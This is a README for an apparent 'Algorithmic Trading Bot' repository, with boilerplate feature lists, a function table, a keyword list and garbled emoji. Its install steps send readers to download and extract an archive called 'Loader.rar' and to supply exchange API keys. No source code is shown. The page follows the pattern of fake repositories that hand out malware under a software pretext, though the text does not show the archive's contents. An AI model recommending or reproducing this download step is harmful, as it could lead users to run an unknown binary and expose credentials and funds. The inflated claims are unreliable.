Welcome to the Algorithmic Trading Bot repository! This project features an advanced, modular, and customizable algorithmic trading system tailored for both beginner and professional traders. With comprehensive documentation, robust strategies, and compatibility across all major operating systems, it leverages top-tier trading algorithms and APIs to maximize profits and minimize risks. ๐
| Operating System | Compatibility | Notes |
|---|---|---|
| ๐ช Windows | โ | Supports Windows 10, 8, 7, Server |
| ๐ macOS | โ | Compatible with Monterey and later |
| ๐ง Linux | โ | Ubuntu, Fedora, Debian, other distros |
| ๐ฑ Android (via Termux) | โก Partial | CLI only, experimental support |
| ๐ iOS (via SSH) | โก Partial | Remote execution through SSH required |
- Multiple Trading Strategies: Implements momentum, trend-following, reversal, and custom strategies.
- Backtesting Framework: Test strategies on historical market data for optimal results.
- Real-time Data Streaming: Connects seamlessly with major exchanges (Binance, Coinbase, etc.) for live updates.
- Risk Management Tools: Includes stop-loss, take-profit, dynamic position sizing, and risk-reward optimization.
- Automated Order Execution: Quick, reliable execution of trades with minimal slippage.
- Custom Indicators: Integrate bespoke or popular indicators like MACD, RSI, SMA, and more.
- API Integration: Robust connectivity to REST and WebSocket APIs of top brokerages.
- Notifications & Logging: Real-time alerts via email/Telegram and detailed activity logging.
- Modular Codebase: Easily extendable for new strategies, exchanges, or asset classes.
- User-Friendly Configuration: Simple JSON/YAML configs for easy customization, schedule management, and parameter optimization.
| Function | Description | Supported OS |
|---|---|---|
initialize_bot() |
Loads configuration files, sets up API keys, and prepares the trading environment. | All |
fetch_market_data() |
Downloads live or historical data from selected exchange. | All |
apply_strategy() |
Processes live data with selected or custom algorithm to generate trade signals. | All |
execute_order() |
Places buy/sell orders according to the chosen execution policy. | All |
calculate_risk() |
Computes position size, stop-loss, and take-profit levels based on the risk model. | All |
backtest_strategy() |
Simulates strategy performance against historical data for evaluation. | All |
notify_user() |
Sends trading alerts and summaries to configured notification systems. | All |
log_activity() |
Records every trade and significant event to easy-to-read log files for auditing and review. | All |
update_strategy() |
Dynamically updates algorithm parameters while actively trading. | All |
- Download Loader.rar from the repository.
- Make sure you extract the files using your system's preferred archive manager.
- Review and edit the
config.jsonorsettings.yamlas per your trading preferences. - Install required dependencies listed in
requirements.txt(usually viapip install -r requirements.txt). - Launch the main script using your preferred Python interpreter:
- Example:
python launcher.py
- Example:
- Obtain and provide valid API keys from your selected exchange(s).
- Start exploring, customizing, and optimizing trading strategies to fit your portfolio!
Note: Detailed step-by-step OS-specific installation guides can be found in the /docs/ folder.
- Algorithmic trading
- Crypto bot
- Forex trading automation
- Stock trading automation
- Trading strategies
- Python trading bot
- Risk management
- Backtesting engine
- Real-time trading
- API connectivity
- Cryptocurrency trading automation
- Portfolio optimization
- Modular trading system
- Automated trading suite
This software is provided for educational and research purposes only.
Trading financial assets and cryptocurrencies involves significant risk. The authors take no responsibility for any losses. It is your responsibility to comply with local laws and the terms of your broker/exchange. Please use the Algorithmic Trading Bot only with demo accounts until you fully understand its features and risks.
This repository is licensed under the MIT License.
We welcome code contributions, feature suggestions, and bug reports! Please read our CONTRIBUTING guidelines in the /docs/ folder, fork the repository, and submit a pull request.
Need help? Visit the /docs/FAQ.md, open an issue, or join our community chat linked in the repository. Happy trading! ๐